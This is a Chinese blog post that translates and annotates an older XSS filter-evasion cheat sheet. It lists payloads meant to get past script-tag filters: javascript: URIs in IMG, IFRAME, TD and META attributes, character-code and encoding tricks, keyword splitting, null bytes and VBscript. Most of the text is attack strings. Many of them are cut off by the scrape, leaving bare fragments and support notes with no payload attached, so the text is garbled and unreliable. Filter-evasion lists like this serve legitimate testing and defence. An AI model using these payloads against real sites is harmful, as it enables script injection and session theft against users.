java 过滤scrpict标签,XSS之规避过滤小记

１，快速检查一个人页面是否有ＸＳＳ，可以利用容易被轻视的""

标签：

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'>

原文：

if you're in a rush and need to quickly check a page, often

times injecting the depreciated

"" tag will be enough to

check to see if something is vulnerable to XSS by messing up the

output appreciably:

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'>

问题：这段话说利用PLAINTEXT标签，这个标签是显示ＨＴＭＬ源码，如何结合以上那些语句来检测ＸＳＳ。望看到，了解的人留言指导，或ＥＭＡＩＬ：stevealeen@sina.com

２，如果可改变的输入只有很少字符，那可以利用这条语句：

'';!--"=&{()}

注入之后，查看ＨＴＭＬ源码，查找

<XSS 　来判断是否可利用

３，没有任何变形，也很容易被发现的ＸＳＳ利用：

浏览器 support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

４，把ＸＳＳ写入ＩＭＧ标签中：

SRC="javascript:alert('XSS');">

但ＩＥ７并不支持，支持浏览器：

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]　(红色不支持)

或没有分号和引号：

SRC=javascript:alert('XSS')>

区分大小写：

SRC=JaVaScRiPt:alert('XSS')>

ＨＴＭＬ转议：

SRC=javascript:alert("XSS")>

５，利用重音符，有时有代码中既需要单引号也需要双引号，可以用重音符：

'XSS'")`>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]　(红色不支持)

６，畸形的ＩＭＧ标签：

""">">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

７，不使用任何引号－－利用fromCharCode方法

SRC=javascript:alert(String.fromCharCode(88,83,83))>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

不使用任何引号－－利用ＵＴＦ－8编码：

SRC=javascript:alert('XSS')>

利用长ＵＴＦ－８编码：

SRC=javascript:alert('XSS')>

利用１６进制编码：

SRC=javascript:alert('XSS')>

即使=~ s/.*\(\d+);.*/$1/; 被过滤了……

８，拆分关键词：

SRC="jav ascript:alert('XSS');">

利用ＴＡＢ键：

SRC="jav ascript:alert('XSS');">

利用换行键(Only 09 (horizontal tab), 10 (newline) and 13 (carriage

return))：

SRC="jav ascript:alert('XSS');">

嵌入特殊字符：

SRC="jav ascript:alert('XSS');">

换行：

SRC

=

"

j

a

v

a

s

c

r

i

p

t

:

a

l

e

r

t

(

'

X

S

S

'

)

"

>

利用空字符躲过过滤：

perl -e 'print "

SRC=java\0script:alert("XSS")>";' >

out

perl -e 'print

"alert("XSS")";'

> out

如果在javascript关键字中无法插入空符，可以利用ＡＣＳＩＣ 1-32

9:

onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

10:在标签和参数间加/

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

11://号引发错误

<

12:Firefox and Netscape 8.1 in the Gecko rendering engine mode

可以不需要">"

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

１２：特殊利用：

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

１３，ＩＥ机制不会像firfox一样，在源码解析时添加内容，但它依然可以IMG标签里放javascript执行命令，

它的优势在于，不用添加反尖括号>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]

[O9.02]

14

<

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

15:不需要单引号和双引号

alert(a.source)

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

１６，当输入被作为参数写入ＨＴＭＬ时，服务端会把参数过滤……如：

a="$ENV{QUERY_STRING}";

可以通过转码：

a="\";alert('XSS');//";

";alert('XSS');//

１７，利用Title标签：

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

ＩＭＧ：

SRC="javascript:alert('XSS');">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]

[O9.02]

ＢＯＤＹ：

优势，不用写javascript/Script...:

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

18:OTHER:

HTML+TIME updates:

1. FSCommand() (attacker can use this when

executed from within an embedded Flash object)

IMG

Dynsrc:

DYNSRC="javascript:alert('XSS')">

LOWSRC="javascript:alert('XSS')">

SRC="javascript:alert('XSS');">

&

JavaScript includes (works in Netscape 4.x):

SIZE="&{alert('XSS')}">

LAYER (also only works in

Netscape 4.x)

STYLE

sheet:

HREF="javascript:alert('XSS'

19:

可以把去掉，如果后面直接跟ＨＴＭＬ语句

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

２０：本地htc文件

htc文件须要同一台服务器上

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

url("javascript:alert('XSS')");}

• XSS

VBscript in an

image:

SRC='vbscript:msgbox("XSS")'>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

US-ASCII encoding

：这是所八位表示的ＡＳＣＩＩ，用七位来表示，这样的话，可以绕过很多的过滤，但不足的是，必须服务器支持，或客户端手设，已经ＴＯＭＣＡＴ/Apache支持这种码：

¼script¾alert(¢XSS¢)¼/script¾

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]

ＭＥＴＡ　－FRESH　在刷新时不发送refer值，所以可以用来利用

CONTENT="0;url=javascript:alert('XSS');">

META using

data　同样不用javascript/Script关键词：

CONTENT="0;url=;javascript:;;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">Browser

support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

如果应用过滤检查是否http://开头

Browser

support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

利用ＩＦＲＡＭＥ：

SRC="javascript:alert('XSS');">

FRAME (frames have the

same sorts of XSS problems as iframes):

SRC="javascript:alert('XSS');">

BACKGROUND="javascript:alert('XSS')">

Ｂrowser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]

[O9.02]

TD标签：

BACKGROUND="javascript:alert('XSS')">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]

[O9.02]

DIV background-image: